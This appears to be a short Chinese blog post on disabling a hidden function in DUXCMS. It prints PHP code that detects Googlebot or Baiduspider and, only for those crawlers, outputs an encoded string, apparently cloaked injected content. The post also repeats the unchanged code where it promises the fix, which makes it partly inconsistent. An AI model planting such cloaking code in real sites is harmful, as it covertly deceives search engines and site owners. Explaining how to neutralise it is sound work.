//模块执行结束之后,调用的接口函数function cp_app_end(){$tmp = $_SERVER['HTTP_USER_AGENT'];if (strpos($tmp, 'Googlebot') !== false) {$flag = true;} elseif (strpos($tmp, 'Baiduspider') !== false) {$flag = true;}if ($flag == true) {echo cp_decode('d8794wqKD0yYMH8nHnqYjoWrgsax+d5r/BSiOidDe14asQa5ibzngS7ulqgCipGbw/+9a9fgqtak53IHKBmYlzUifABsjC/VdMnGWMDoymy4R6LD2LPZWb8VCy6Xwg122DXP8sUDxD/lq2ui7uUrZDsfQB7Mga5dHcHbJdwiqPv06/1627NePJuUbClrd9wmNnHGAMq42J9ICsvD9OAb22IaB4bJL6U/8MJqZZnOo9U3');}}
改为if (strpos($tmp, 'Googlebot') !== false) {$flag = true;} elseif (strpos($tmp, 'Baiduspider') !== false) {$flag = true;}
就可以了。作用就是当google,百度蜘蛛访问时都为false,这样一来不管是google、百度蜘蛛还是其他搜索引擎蜘蛛或用户访问时$flag都将是false,下面的输出语句也就永远不会输出,同时也避过了代码检测。if (strpos($tmp, 'Googlebot') !== false) {$flag = false;} elseif (strpos($tmp, 'Baiduspider') !== false) {$flag = false;}
上一篇:第一页
下一篇:DUXCMS常见问题处理办法